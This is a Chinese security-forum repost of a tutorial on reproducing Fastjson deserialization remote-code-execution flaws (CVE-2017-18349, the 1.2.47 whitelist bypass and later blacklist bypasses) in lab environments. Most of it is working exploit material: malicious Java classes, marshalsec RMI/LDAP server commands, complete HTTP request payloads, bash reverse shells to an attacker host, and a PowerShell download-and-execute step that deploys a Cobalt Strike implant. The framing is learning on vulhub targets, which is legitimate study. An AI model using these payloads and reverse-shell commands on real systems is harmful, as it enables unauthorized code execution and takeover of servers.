安全矩阵

 找回密码
 立即注册
搜索
查看: 2803|回复: 0

框架安全之Fastjson渗透

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-7-18 10:52:17 | 显示全部楼层 |阅读模式
框架安全之Fastjson渗透原创 Kr1pt0 [url=]FreeBuf[/url] 昨天
本篇文章是Fastjson框架漏洞复现,记录了近几年来爆出的Fastjson框架漏洞,主要分为四个部分:Fastjson简介、Fastjson环境搭建、Fastjson漏洞复现、Fastjson工具介绍。
本篇文章由浅入深地介绍了Fastjson的一系列反序列化漏洞,基于RMI或LDAP方式反序列化漏洞利用对Fastjson进行RCE。在学习Fastjson过程中阅读了几十篇中英文Fastjson相关技术文章,最终按照作者我的思路进行总结,相关参考文章也在文末列出。此外,文中可能会出现部分错误,望读者指出,谢谢。接着,开始我们的Fastjson框架渗透学习!!
一、Fastjson简介Fastjson是Java语言编写的高性能开源JSON解析库,由阿里巴巴开发,用于将Java对象转化为JSON格式字符串,也可以将JSON格式字符串转化为等价的Java对象,Fastjson可以处理任意Java对象,包括没有源代码的已存在对象。具有以下几个特点:
速度快
广泛使用
测试完备
使用简单
功能完备
JNDIJNDI (Java Naming and Directory Interface)是一组应用程序接口,提供了查找和访问命名和目录服务的通用、统一的接口,用于定位网络、用户、对象和服务等资源,是J2EE规范中是重要的规范之一。(可以理解为JNDI在J2EE中是一台交换机,将组件、资源、服务取了名字,再通过名字来查找)
JNDI底层支持RMI远程对象,JNDI接口可以访问和调用RMI注册过的服务。
JNDI根据名字动态加载数据,支持的服务有DNS、LDAP、CORBA、RMI
参考:JNDI学习总结(一)JNDI到底是什么
RMIRMI (Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器提供API,客户端根据API提供相应参数即可调用远程方法。由此可见,使用RMI时会涉及到参数传递和结果返回,参数为对象时,要求对象可以被序列化。
LDAPLDAP(Lightweight Directory Access Protocol)是轻量级目录访问协议,用于访问目录服务,基于X.500目录访问协议
参考:LDAP服务器的概念和原理简单介绍
JNDI注入在JNDI服务中,RMI服务端除了直接绑定远程对象,还可以通过References类绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定Reference后,服务端先利用Referenceable.getReference()方法获取绑定对象的引用,并且在目录中保存。当客户端使用lookup()方法查找该远程对象时,会返回ReferenceWrapper类的代理文件,接着调用getReference()获取Reference类,获取到相应的object factory,最终通过factory类将reference转换为具体的对象实例。


从ReferenceWrapper源码中也可以发现该类继承自UnicastRmoteObject,实现对Reference进行包裹,使得Reference类能够通过RMI服务进行远程访问

上面介绍了整个加载过程,则攻击利用流程如下:
1. 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控
2. 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name
3. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类
4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例
5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果
参考:深入理解JNDI注入与Java反序列化漏洞利用 - 博客 - 腾讯安全应急响应中心
二、搭建Fastjson1、IDEA下载进入官网选择Community社区版即可
IDEA下载地址:
https://www.jetbrains.com/idea/download/#section=windows

2、IDEA安装1)双击安装程序
安装路径等默认,下一步
2)安装选项
如图勾上,默认下一步(会出现一个小警示,直接确认跳过即可)

3)打开x64版本的IDEA,选择免费30天


选择continue

安装完成
3、安装JDK1.8默认安装,一直下一步即可

4、IDEA创建新项目启动IDEA x64,选中刚刚装好JDK1.8u161版本,点击NEXT,填写项目名称后即可创建成功

第一次创建项目较慢,等待片刻
5、导入Fastjson的jar包下载地址:
https://mvnrepository.com/artifact/com.alibaba/fastjson
1)选择1.2.24版本进行下载

2)创建目录FJ(随意命名)

3)复制fastjson-1.2.24.jar包至刚刚创建的目录下

4)前往目录结构选项中

5)在Module中导入模块,在Dependencies中点击加号,选择第一项

6)选则刚刚导入的jar包,确认即可


6、创建fastjson简单项目创建java class,内容如下
  1. import com.alibaba.fastjson.JSON;

  2. public class FJdemo {

  3. public static void main(String[] args){

  4. User user = new User();
  5. user.setName("小明");
  6. user.setAge(18);

  7. String jsonStr = JSON.toJSONString(user);

  8. System.out.printf(jsonStr);

  9. }
  10. }
复制代码

创建User类
  1. private String name;
  2. private Integer age;

  3. public String getName() {
  4. return name;
  5. }

  6. public void setName(String name) {
  7. this.name = name;
  8. }

  9. public Integer getAge() {
  10. return age;
  11. }

  12. public void setAge(Integer age) {
  13. this.age = age;
  14. }

  15. @Override
  16. public String toString() {
  17. return "User{" +
  18. "name='" + name + '\'' +
  19. ", age=" + age +
  20. '}';
  21. }
复制代码

点击run,执行FJdemo的main函数

三、漏洞复现
以复现操作为主,底层原理解析见后面的文章
1、Fastjson1.2.24 反序列化漏洞RCE(CVE-2017-18349)0x01 简介
fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。
影响版本:Fastjson版本小于1.2.25
一些注意点:
反序列化常用的两种利用方式:基于RMI和基于LDAP。RMI指的是JAVA的远程方法调用,LDAP是轻量级目录访问协议。
JAVA版本限制:
基于RMI的利用方式,JDK版本限制于6u132、7u131、8u121之前,在8u122及之后的版本中,加入了反序列化白名单的机制,关闭了RMI远程加载代码
基于LDAP的利用方式,JDK版本限制于6u211、7u201、8u191、11.0.1之前,在8u191版本中,Oracle对LDAP向量设置限制,发布了CVE-2018-3149,关闭JNDI远程类加载
0x02 靶场环境
使用vulhub靶场进行复现,搭建命令如下
  1. cd vulhub/fastjson/1.2.24-rce
  2. sudo docker-compose up -d
复制代码
​ 靶场IP: 192.168.112.141

查看靶场容器信息

           

sudo docker ps

进入容器内查看java版本

           

sudo docker exec -it 9599ad4b7cec bash

访问靶场网址

成功搭建完成~
0x03 复现过程
分析:靶场环境为Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用链结合JNDI注入执行远程命令
先安装Java8u20版本,下面提供便捷代码,将现有的Java删除并安装上Java8u20版本(配合快照使用)
  1. cd /opt
  2. curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
  3. tar zxvf jdk-8u20-linux-x64.tar.gz
  4. rm -rf /usr/bin/java*
  5. ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
  6. javac -version
  7. java -version
复制代码
1)编译恶意类代码
创建文件名为evilclass.java的文件
  1. import java.lang.Runtime;
  2. import java.lang.Process;
  3. public class evilclass{
  4. static {
  5. try {
  6. Runtime rt = Runtime.getRuntime();
  7. String[] commands = {"touch", "/tmp/test"};
  8. Process pc = rt.exec(commands);
  9. pc.waitFor();
  10. } catch (Exception e) {
  11. // do nothing
  12. }
  13. }
  14. }
复制代码

使用javac编译

           

javac evilclass.java
2)下载marshalsec工具
marshalsec工具用于开启RMI服务器
下载地址:
https://github.com/mbechler/marshalsec

           

git clone https://github.com/mbechler/marshalsec.git

3)安装maven

           

apt-get install maven
4)使用maven编译marshalsec成jar包

           

mvn clean package -DskipTests


5)搭建启动RMI服务

           

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.146/#evilclass" 9999

6)BurpSuite抓包改包

  1. POST / HTTP/1.1
  2. Host: 192.168.112.141:8090
  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Cache-Control: max-age=0
  10. Content-Type: application/json
  11. Content-Length: 0

  12. {
  13. "b":{
  14. "@type":"com.sun.rowset.JdbcRowSetImpl",
  15. "dataSourceName":"rmi://192.168.112.146:9999/evilclass",
  16. "autoCommit":true
  17. }
  18. }
复制代码

已经发送了evilclass文件

前往靶场容器内,成功执行命令创建test文件

0x04 Linux反弹shell
将上面的java代码中的执行命令改为反弹shell的命令,其余步骤相似
  1. import java.lang.Runtime;
  2. import java.lang.Process;
  3. public class evilclass{
  4. static {
  5. try {
  6. Runtime rt = Runtime.getRuntime();
  7. String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.112.146/9001 0>&1"};
  8. Process pc = rt.exec(commands);
  9. pc.waitFor();
  10. } catch (Exception e) {
  11. // do nothing
  12. }
  13. }
  14. }
复制代码
​进行javac编译,Burpsuite抓包改包发包

成功监听到反弹shell

2、Fastjson1.2.24 反序列化漏洞RCE(自建win靶场拓展研究)0x01 简介
上面复现是在Linux系统中,通过Vulhub搭建的fastjson靶场进行复现,本节通过自建spring+fastjson漏洞环境,深入研究fastjson反序列化漏洞,先开始搭建过程
0x02 环境搭建 Spring+Fastjson
1)创建Spring项目
搭建Spring框架


第一次部署较久
2)导入fastjson包
这次使用dependency的方式导入,将提供的dependency代码添加至porn.xml中,刷新载入即可

3)创建java类 - 路由解析控制器
创建controller.Login.java,用于解析请求的路由控制器

  1. @Controller
  2. public class Login {
  3. @RequestMapping(value = "/fastjson", method = RequestMethod.POST)
  4. @ResponseBody
  5. public JSONObject test(@RequestBody String data) {
  6. JSONObject obj = JSON.parseObject(data);
  7. JSONObject result = new JSONObject();
  8. result.put("code", 200);
  9. result.put("message", "success");
  10. result.put("data", "Hello " + obj.get("name"));
  11. return result;
  12. }
  13. }


复制代码

报错后面解决
4)创建model.User.java用户类,包含一些属性用于fastjson与数据对应解析
  1. public class User {
  2. public String name;
  3. public int age;
  4. public String id_card;

  5. public String getName() {
  6. return name;
  7. }
  8. public void setName(String name) {
  9. this.name = name;
  10. }
  11. public int getAge() {
  12. return age; }
  13. public void setAge(int age) {
  14. this.age = age;
  15. }
  16. public String getId_card() {
  17. return id_card;
  18. }
  19. public void setId_card(String id_card) {
  20. this.id_card = id_card;
  21. }
  22. }
复制代码

5)解决报错问题
一般报错是缺少class,点击Import class即可

最后添加了一系列的class后,解决了报错问题

6)启动项目
点击右上角的启动

搭建成功

测试发送json数据

           

curl http://192.168.112.140:8080/fastjson -H "Content-Type: application/json" --data '{"name":"xiaoming", "age":18}'

0x03 复现过程 - 基于LDAP方式的反序列化漏洞利用
win环境下是使用JDK8u161搭建,由于基于RMI的反序列化漏洞需要JDK版本小于8u121,所以这里复现使用LDAP方式
1)编写恶意类代码
  1. public class evilclass {
  2. public evilclass (){
  3. try{
  4. Runtime.getRuntime().exec("calc");
  5. }catch (Exception e){
  6. e.printStackTrace();
  7. }
  8. }
  9. public static void main(String[] argv){
  10. evilclass e = new evilclass();
  11. }
  12. }

  13. 或者写法二: (推荐)
  14. import java.lang.Runtime;
  15. import java.lang.Process;
  16. public class evilclass{
  17. static {
  18. try {
  19. Runtime rt = Runtime.getRuntime();
  20. String[] commands = {"calc"};
  21. Process pc = rt.exec(commands);
  22. pc.waitFor();
  23. } catch (Exception e) {
  24. // do nothing
  25. }
  26. }
  27. }
复制代码
2)javac编译成class

           

javac evilclass.java
3)开启http服务

           

python -m SimpleHTTPServer 80
4)使用marshalsec搭建LDAP服务
这里的命令和RMI方式就一处不同

           

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.146/#evilclass" 9999
5)BurpSuite改包
  1. POST /fastjson HTTP/1.1
  2. Host: 192.168.112.140:8080
  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/json
  10. Content-Length: 133

  11. {
  12. "@type":"com.sun.rowset.JdbcRowSetImpl",
  13. "dataSourceName":"ldap://192.168.112.146:9999/evilclass",
  14. "autoCommit":true
  15. }
复制代码
​ 经测试,使用RMI方式无法执行远程命令
0x04 上线Cobalt Strike
这部分虽然和上面的类似,但记录详细些,以后用得到
需要准备的东西:1. Java8u 主要使用javac编译恶意类2. marshalsec 用于搭建LDAP服务主机IP信息:fastjson Win7   192.168.112.140Kali Linux      192.168.112.146
1)javac编译恶意类class
创建evilclass.java文件(名字任意,不过要和内容中的类名一致)
  1. import java.lang.Runtime;
  2. import java.lang.Process;
  3. public class evilclass{
  4. static {
  5. try {
  6. Runtime rt = Runtime.getRuntime();
  7. String[] commands = {"powershell", "-Command", "(new-object System.Net.WebClient).DownloadFile('http://192.168.112.146/xigua.exe','xigua.exe');start-process xigua.exe"};
  8. Process pc = rt.exec(commands);
  9. pc.waitFor();
  10. } catch (Exception e) {
  11. // do nothing
  12. }
  13. }
  14. }
复制代码

这里的powershell命令意思是到192.168.112.146主机上下载xigua.exe文件并以xigua.exe文件名存储并执行此文件,执行命令后,不出意外的话将直接上线CS

           

powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.146/xigua.exe','xigua.exe');start-process xigua.exe
使用javac编译,无报错即代表成功

2)开启LDAP服务和python的HTTP服务
使用marshalsec工具开启LDAP服务(这里同开启RMI命令类似),开启端口号为9999

           

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.146/#evilclass" 9999

开启python2简易http服务

  1. python -m SimpleHTTPServer 80
  2. python -m http.server 80    # python3的命令
复制代码

3)启动Cobalt Strike及生成木马文件
设置监听器,创建木马上线文件,命名为xigua.exe,并复制到Kali Linux上,可以直接通过上面开启的python2的http服务访问得到。

4)BurpSuite抓包修改
  1. POST /fastjson HTTP/1.1
  2. Host: 192.168.112.140:8080
  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/json
  10. Content-Length: 133

  11. {
  12. "@type":"com.sun.rowset.JdbcRowSetImpl",
  13. "dataSourceName":"ldap://192.168.112.146:9999/evilclass",
  14. "autoCommit":true
  15. }
复制代码

5)成功上线CS

3、Fastjson1.2.47 反序列化漏洞(CNVD‐2019‐22238)0x01 简介
Fastjson1.2.24后增加了反序列化白名单,Fastjson中autotype功能允许用户通过@type指定反序列化的类型,在Fastjson1.2.48版本前攻击者可以通过构造特殊的json字符串进行绕过该白名单,进而造成远程命令执行,该漏洞且无需开启autotype即可利用成功。
0x02 环境搭建
依旧使用vulhub靶场
  1. cd vulhub/fastjson/1.2.47-rce
  2. sudo docker-compose up -d
  3. sudo docker ps
复制代码

0x03 复现操作 - 监听反弹shell
上一个漏洞复现中使用了marshalsec-0.0.3-SNAPSHOT-all.jar工具搭建RMI/LDAP服务,本次复现中使用另一个工具fastjson_tool.jar
下载地址:
https://github.com/wyzxxz/fastjson_rce_tool
1)启动LDAP服务器
使用如下命令,8888端口为LDAP服务端口,后面的命令为反弹shell命令,直接使用该工具提示的payload。

           

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.112.146 8888 "bash=/bin/bash -i  >& /dev/tcp/192.168.112.146/9001 0>&1"

2)访问网站,burpsuite抓包修改
  1. POST / HTTP/1.1
  2. Host: 192.168.112.141:8090
  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/json
  10. Content-Length: 189

  11. {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.112.146:8888/Object","autoCommit":true}}
复制代码



3)监听反弹shell

           

nc -lvp 9001

0x04 原理分析
参考:Fastjson <=1.2.47 远程代码执行漏洞分析 - 安全客,安全资讯平台 (anquanke.com)
4、Fastjson1.2.62 漏洞简述利用方法:
基于黑名单绕过,payload如下

           

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
5、Fastjson1.2.66 漏洞简述同样是基于黑名单绕过,搜集到的EXP
  1. {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

  2. {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

  3. {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

  4. {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
复制代码
​autotypesupport属性为true才可使用,在1.2.25版本以后该属性默认为false
四、Fastjson渗透工具本篇文章涉及到两个工具:marshalsec-0.0.3-SNAPSHOT-all.jar和fastjson_tool.jar在渗透利用的过程中,本质上都是开启RMI/lDAP服务器发送恶意代码至靶机上,但使用上有所区别,这节稍微总结下这两款工具
1、marshalsec.jar工具下载地址:GitHub - mbechler/marshalsec
工具JDK版本:JDK8
下载好后需要maven编译成jar包才可使用,在文件目录下执行命令

           

mvn clean package -DskipTests
工具使用方法如下
1)创建恶意类文件
​​写法一:
  1. public class evilclass {
  2. public evilclass (){
  3. try{
  4. Runtime.getRuntime().exec("calc");
  5. }catch (Exception e){
  6. e.printStackTrace();
  7. }
  8. }
  9. public static void main(String[] argv){
  10. evilclass e = new evilclass();
  11. }
  12. }
复制代码
写法二: (推荐)
  1. import java.lang.Runtime;
  2. import java.lang.Process;
  3. public class evilclass{
  4. static {
  5. try {
  6. Runtime rt = Runtime.getRuntime();
  7. String[] commands = {"calc"};
  8. Process pc = rt.exec(commands);
  9. pc.waitFor();
  10. } catch (Exception e) {
  11. // do nothing
  12. }
  13. }
  14. }
复制代码
2)javac编译成class文件

           

javac evilclass.java
3)搭建伪造RMI/LDAP服务
前往marshalsec/target目录,命令开启服务,端口设置为9999

  1. # RMI服务
  2. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.146/#evilclass" 9999
复制代码
  1. # LDAP服务
  2. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.146/#evilclass" 9999
复制代码
4)BP上修改POST包的请求
几个注意点:
  • 一开始抓到的包是GET包,需要改变为POST包,右键变更请求方法可以快速切换为POST包
  • Content-Type需要设置为application/json
  • 请求内容根据RMI或者LDAP服务做些细微变动,

  1. POST / HTTP/1.1
  2. Host: 192.168.112.141:8090
  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Cache-Control: max-age=0
  10. Content-Type: application/json
  11. Content-Length: 0

  12. {
  13. "b":{
  14. "@type":"com.sun.rowset.JdbcRowSetImpl",
  15. "dataSourceName":"rmi://192.168.112.146:9999/evilclass",
  16. "autoCommit":true
  17. }
  18. }
复制代码
LDAP服务修该请求内容即可
  1. {
  2. "@type":"com.sun.rowset.JdbcRowSetImpl",
  3. "dataSourceName":"ldap://192.168.112.146:9999/evilclass",
  4. "autoCommit":true
  5. }
复制代码
​后记:这款工具功能还是挺强的,限于笔者我实力较菜,更多的功能参考百度或等我后续变强再来更新
2、fastjson_rce_tool工具下载地址:
GitHub - wyzxxz/fastjson_rce_tool: fastjson
命令执行自动化利用工具
这款工具相较于上一个工具更加便捷、自动化,下载好后无需maven编译,也不用自己创建java恶意类代码,直接根据工具提供的payload进行测试攻击,上手容易,使用容易,新手推荐这个~~
简单介绍几个功能,更多功能参考工具下载地址或百度
测试环境:
Vulhub Ubuntu   192.168.112.141Kali Linux      192.168.112.146
0x01 结合dnslog.cn测试远程代码是否可执行
1)生成dnslog.cn的子域名
8067nw.dnslog.cn

2)搭建LDAP服务器

           

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.112.146 8888 "curl 8067nw.dnslog.cn"

3)BP改包
将上面提供的payload写入POST请求中

           

{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.112.146:8888/Object","autoCommit":true}}

4)到dnslog.cn上查看靶机是否执行了curl命令
可以发现靶机成功执行了curl命令,说明存在RCE漏洞

0x02 反弹shell及其他
操作方法类似,就是将命令更改为反弹shell的命令

           

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.112.146 8888 "bash=/bin/bash -i  >& /dev/tcp/192.168.112.146/9001 0>&1"
小结:这里的命令部分相当于marshalsec工具中的自己写的恶意类中的可执行命令部分,只是fastjson_rce_tool简化了操作,我们只要提供命令执行参数即可,适合小白~
更多的操作及命令可自行拓展或者去工具下载地址查看
五、总结注意JDK的版本,基于不同方式的反序列化攻击有不同的限制,否则会使得攻击无效

IDEA搭建Fastjson框架时有两种导入包的方式,一种是手动创建目录导入,一种是在porn.xml中插入代码,刷新自动导入,推荐后面一种
工具涉及到两种,一个是marshalsec,另一个是fastjson_rce_tool,推荐新手先使用第二个工具,上手较容易
六、参考alibaba/fastjson: A fast JSON parser/generator for Java.
Maven Repository: com.alibaba » fastjson
mbechler/marshalsec (github.com)
GitHub - wyzxxz/fastjson_rce_tool
Fastjson<=1.2.47反序列化漏洞复现
Fastjson <=1.2.47远程命令执行

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:52 , Processed in 0.025738 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表